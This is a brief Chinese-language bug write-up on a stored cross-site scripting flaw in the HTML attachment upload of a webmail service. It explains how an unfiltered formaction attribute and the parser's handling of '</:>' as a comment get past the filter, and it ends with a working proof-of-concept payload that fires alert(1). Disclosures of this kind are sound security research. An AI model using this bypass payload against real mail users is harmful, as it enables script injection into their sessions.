某鹅邮箱附件上传html存储xss

formaction事件是没有被过滤的

但直接插入不行



我们包裹img标签，直接插入也不行，

经过几天的挖掘发现，</:>会变成注释，在拼接在一起.



</:> 会注释。那么本地构造个poc



</:>变成注释就会执行后面，进行拼接



最终poc：<img src=http://www.baidu.com x=”⋌” </:>1><</:>button formaction\=alert(1)<">M<<br>

